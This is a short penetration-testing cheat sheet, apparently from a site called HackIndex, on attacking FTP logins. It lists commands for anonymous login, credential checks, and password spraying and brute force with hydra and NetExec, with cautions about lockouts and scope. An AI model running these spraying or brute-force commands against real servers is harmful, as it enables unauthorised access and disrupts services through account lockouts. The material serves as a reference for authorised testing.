Skip to content
HackIndex logo

HackIndex

FTP Authentication Attacks

2 min read Jan 4, 2026

FTP authentication attacks focus on abusing or bypassing authentication mechanisms to gain unauthorized access to the FTP service.
This includes anonymous access abuse, credential validation, password spraying, and controlled brute-force attacks.

Anonymous Login Abuse

Some FTP servers allow login using the anonymous account without credentials or with a generic password.

┌──(kali㉿kali)-[~]
└─$ ftp $TARGET_IP 
Username: anonymous
Password: anonymous

Test a Specific Credential Pair

This technique validates a known or suspected username and password pair against the FTP service.

┌──(kali㉿kali)-[~]
└─$ ftp $TARGET_IP 
Username: user
Password: password

Password Spraying

Password spraying tests one common password across multiple user accounts, reducing the risk of account lockouts.

Password Spraying with Hydra

┌──(kali㉿kali)-[~]
└─$ hydra -L users.txt -p Password123 ftp://$TARGET_IP

Password Spraying with NetExec (nxc)

┌──(kali㉿kali)-[~]
└─$ nxc ftp $TARGET_IP -u users.txt -p Password123

Controlled Bruteforce Attacks

Brute-force attacks attempt multiple passwords against FTP user accounts.
This technique is high risk and should only be used when explicitly allowed.

Bruteforce with Hydra

┌──(kali㉿kali)-[~]
└─$ hydra -L users.txt -P passwords.txt ftp://$TARGET_IP

Bruteforce with NetExec (nxc)

┌──(kali㉿kali)-[~]
└─$ nxc ftp $TARGET_IP -u users.txt -p passwords.txt --continue-on-success

The --continue-on-success flag allows continued testing after a valid credential is found.

Risks of Bruteforcing

  • Account lockouts

  • Service disruption

  • Security alert triggering

Use brute-force attacks only when:

  • No lockout policies exist

  • Scope explicitly allows aggressive attacks

References